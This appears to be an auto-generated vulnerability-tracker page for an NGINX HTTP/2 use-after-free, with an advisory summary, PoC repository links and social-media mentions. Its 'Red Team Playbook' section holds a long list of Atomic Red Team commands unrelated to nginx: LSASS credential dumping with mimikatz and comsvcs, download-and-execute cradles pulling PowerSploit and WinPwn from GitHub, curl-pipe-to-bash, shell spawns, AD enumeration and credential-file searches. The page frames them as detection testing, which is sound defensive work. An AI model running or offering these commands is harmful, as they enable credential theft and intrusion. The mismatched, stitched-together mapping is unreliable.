CVE-2026-123633
Overview
This vulnerability is a use-after-free condition occurring within the worker process of NGINX Open Source and NGINX Plus when HTTP/2 is enabled for client connections and proxying requests to a backend. The root cause lies in improper management of memory resources under low worker_connections conditions, leading to dangling pointers. The flaw specifically affects the HTTP/2 handling component responsible for managing client request lifecycles in the data plane of the server.
Vulnerability Description
When NGINX Plus or NGINX Open Source is configured to use HTTP/2 for client connections and proxy client requests to a backend, a specially crafted request can result in use-after-free in the worker process, if this process is running low on worker_connections. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR. Impact: This vulnerability may allow remote attackers to cause a denial-of-service (DoS) on the NGINX system or may allow a code execution. There is no control plane exposure; this is a data plane issue only. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
Impact
An unauthenticated remote attacker can exploit this vulnerability to cause a denial-of-service condition by crashing the worker process or achieve remote code execution on systems where ASLR is disabled or bypassed. The attack targets the data plane only, with no impact on the control plane. This can lead to full compromise of the affected server, disruption of services, and potential lateral movement within the network. No user interaction or credentials are necessary to exploit this vulnerability remotely.
Solution
F5 has released an advisory (K000163928) detailing patches for affected versions of NGINX Open Source and NGINX Plus. Users should upgrade to the fixed versions as specified in the advisory to mitigate this vulnerability. The vendor recommends applying the latest available updates and reviewing the advisory for detailed patching instructions and any applicable workarounds.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Ghost-Bx1/nginx-exploits
Exploits e PoCs para vulnerabilidades no NGINX - CVE-2026-123633, CVE-2026-123007
|
Ghost-Bx1 | 4 | 5 | 2026-11-18 | View |
|
LLCForge/CVE-2026-123633
CVE-2026-123633 — nginx HTTP/2 use-after-free under connection exhaustion (RST_STREAM race). CVSS 8.1. Affects nginx 1.1...
|
LLCForge | 0 | 2 | 2026-11-18 | View |
|
Quaerendir/cve-2026-123633-123007-nginx-audit
Read-only POSIX sh audit for the five NGINX2Root nginx CVEs (HTTP/2, HTTP/3, resolver, mail proxy), judged per CVE
|
Quaerendir | 0 | 0 | 2026-11-18 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
124 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (50)
270 mentions from 211 sources in the last 7 days BuzzFactor 100 / 100
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social bsky.app @infosec.skyfleet.blue 2026-11-19 21:02 UTCRe: CVE-2026-123633, CVE-2026-123007: nginx RCE via HTTP/2Open source
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social bsky.app @eyalestrin.bsky.social 2026-11-19 20:19 UTCCritical NGINX HTTP2 RCE Vulnerabilities CVE-2026-123007 and CVE-2026-123633 NGINX2Root Alert #patchmanagementOpen source
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code github.com josueportillo 2026-11-19 19:46 UTCjosueportillo/nginx2root-scannerOpen source
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social bsky.app @alt.pds.lefht.cc 2026-11-19 19:15 UTC3. CVE-2026-123633 · 54 people 🟧 High 8.1 · F5 NGINX Open Source NGINX ngx_http_v2_module vulnerabilityOpen source
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social bsky.app @alt.pds.lefht.cc 2026-11-19 19:15 UTC🛡️ Most-discussed CVEs on Bluesky, last 24h 1. CVE-2026-123007 · 86 people 2. CVE-2026-114938 · 73 people 3. CVE-2026-123633 · 54 people 4. CVE-2024-10441 · 23 people 🔥 5. CVE-2026-115560 · 21 people 🔥 = on CISA's Known Exploited list · de…Open source
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code github.com ramenaru 2026-11-19 18:25 UTCramenaru/nginx2root-playgroundOpen source
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news helpnetsecurity.com 2026-11-19 18:25 UTCNGINX2Root: F5 patches five critical NGINX vulnerabilities - Help Net SecurityOpen source
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social bsky.app @chuiho.net 2026-11-19 18:24 UTC[警戒]NGINX「nginx2root」続報 CVE-2026-123007 と修正版 1.30.7/1.31.9 NGINX の HTTP/2 の欠陥 CVE-2026-123007 と CVE-2026-123633 の関係、修正版 1.30.7 / 1.31.9、自分の版の確かめ方を整理する。悪用は未確認。 https://chuiho.net/posts/nginx2root-cve-2026-123007-update/ #NGINX #nginx2rootOpen source
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social bsky.app @pingoru.bsky.social 2026-11-19 18:12 UTC⚠️ Emplifi is reporting an Incident since 18:01 UTC "Actively investigating recent NGINX and Java Security Disclosures" Live timeline → https://pingoru.io/providers/emplifi/incidents/12495904?utm_source=bluesky&utm_content=inc-12495904 #Em…Open source
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social bsky.app 2026-11-19 18:09 UTCnginx has two pre-auth HTTP/2 RCE bugs: CVE-2026-123633 and CVE-2026-123007. Wiz rates both critical (CVSS 4.0 9.2). nginx.org calls them "medium" and "major". Same bugs, different vibes. 123007 dates to 1.9.5 (2015) and hits plain static…Open source
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social bsky.app @pingoru.bsky.social 2026-11-19 18:08 UTC⚠️ Socialbakers is reporting an Incident since 18:01 UTC "Actively investigating recent NGINX and Java Security Disclosures" Live timeline → https://pingoru.io/providers/socialbakers/incidents/12495887?utm_source=bluesky&utm_content=inc-12…Open source
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social bsky.app @pingoru.bsky.social 2026-11-19 18:08 UTC⚠️ Pixlee is reporting an Incident since 18:01 UTC "Actively investigating recent NGINX and Java Security Disclosures" Live timeline → https://pingoru.io/providers/pixlee/incidents/12495882?utm_source=bluesky&utm_content=inc-12495882 #Pixl…Open source
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social bsky.app @newssecia.bsky.social 2026-11-19 18:05 UTC🤖 nginx2root: CVE-2026-123007 (mem corruption, NGINX 1.9.5–1.31.8) + CVE-2026-123633 (UAF proxying HTTP/2) = unauth RCE, chainable to root via Linux SCTP. Fixed 1.30.7/1.31.9. https://www.bleepingcomputer.com/news/security/critical-nginx-n…Open source
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social bsky.app @trecome.bsky.social 2026-11-19 18:05 UTChttps://trecome.info/articles/92b66870-9a65-4a4e-aa1c-24ade8bfe1af 【新着記事】 NGINXの複数の脆弱性対策について(CVE-2026-123007、CVE-2026-123633等)Open source
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social infosec.exchange @cloud 2026-11-19 18:05 UTC🤖 "nginx2root": CVE-2026-123007 (flow-control memory corruption, NGINX 1.9.5–1.31.8) and CVE-2026-123633 (use-after-free when proxying HTTP/2) allow unauthenticated RCE. Xint chained the first with a Linux SCTP flaw to get root and escape…Open source
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social bsky.app @microcosm.blue 2026-11-19 17:44 UTC🟢 we disabled http2 yesterday for nginx CVE-2026-123007 and CVE-2026-123633 . h2 is re-enabled on now, with nginx updated across all microcosm hosts. mostly this will restore slightly improved performance when making many concurrent reques…Open source
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social bsky.app @dmuth.bsky.social 2026-11-19 16:07 UTCSome more detail on the Nginx vulnerabilities pre 1.31.9, including a couple of demos. CVSS Score of 9.2, ouch! www.wiz.io/blog/nginx-h...Open source
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code github.com im0xfay 2026-11-19 15:59 UTCim0xfay/CVE-2026-123007Open source
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social bsky.app @mkyutani.bsky.social 2026-11-19 15:18 UTC(2/2) ...では各製品・ブランチ向けの修正版を適用するよう求めている。OSやディストリビューションのパッケージではバージョン表記やバックポートが異なる場合があるため提供元情報の確認が必要であり、直ちに更新できない場合は製品開発者が示す構成別の暫定対策を検討する。HTTP/2の無効化はCVE-2026-123007とCVE-2026-123633の暫定対応にはなるが、HTTP/3、プロキシ、メールプロキシ関連を含む5件すべてには不十分である。 www.ipa.go.jp…Open source
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social bsky.app @mkyutani.bsky.social 2026-11-19 15:17 UTC(1/2) 情報処理推進機構は、F5社のNGINX Open SourceおよびNGINX Plusで2026年11月18日に公開された複数の脆弱性への対策を案内している。CVE-2026-123007、CVE-2026-123633、CVE-2026-121810、CVE-2026-123634、CVE-2026-113425の5件はCVSS v4.0で9.2(Critical)と評価され、影響はCVE、利用機能、設定、製品・パッケージにより異なる。NGINX Open…Open source
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social infosec.exchange @edwardk 2026-11-19 15:04 UTCUnauthenticated Remote Code Execution in NGINX: CVE-2026-123633 Wiz Research and four other teams independently found CVE-2026-123633, a use-after-free in NGINX’s HTTP/2 connection handling that has been present since version 1.19.7 in 202…Open source
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social bsky.app @e-kiledjian.bsky.social 2026-11-19 15:03 UTCUnauthenticated Remote Code Execution in NGINX: CVE-2026-123633 Wiz Research and four other teams independently found CVE-2026-123633, a use-after-free in NGINX’s HTTP/2 connection handling that has been present sinc... https://threatintel…Open source
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social bsky.app @elcompilado.com 2026-11-19 15:00 UTCNGINX2Root: F5 parchea cinco fallas críticas con CVSS 9,2 que permiten ejecución remota sin autenticación, y ya hay dos PoCs públicos (18-19/11)Open source
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social bsky.app @lelatent.com 2026-11-19 14:03 UTCPrécision utile sur le contournement : couper HTTP/2 neutralise CVE-2026-123007 et CVE-2026-123633, mais selon le CERT-EU, trois autres failles du lot touchent HTTP/3 (QUIC), le resolver DNS et le proxy mail. Passer en 1.31.9 ou 1.30.7 res…Open source
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social bsky.app @stackbyte.dev 2026-11-19 14:00 UTCTwo NGINX HTTP/2 pre-auth RCEs (Wiz): fixed in 1.30.7/1.31.9, stopgap `http2 off;`. Opinion: check what terminates HTTP/2 in front of your app first; a CDN may absorb it. No public exploit. #NGINX 🤖 Posted by my AI agent: https://stackbyte…Open source
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social bsky.app 2026-11-19 13:34 UTCOn Nov 18, 2026, the #Nginx team released fixes for five vulnerabilities that are collectively known as “Nginx to Root” (NGINX2Root): CVE-2026-123007, CVE-2026-123634, CVE-2026-123633, CVE-2026-121810, and CVE-2026-113425.Open source
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social bsky.app @labrodev.bsky.social 2026-11-19 13:34 UTCOn Nov 18, 2026, the #Nginx team released fixes for five vulnerabilities that are collectively known as “Nginx to Root” (NGINX2Root): CVE-2026-123007, CVE-2026-123634, CVE-2026-123633, CVE-2026-121810, and CVE-2026-113425.Open source
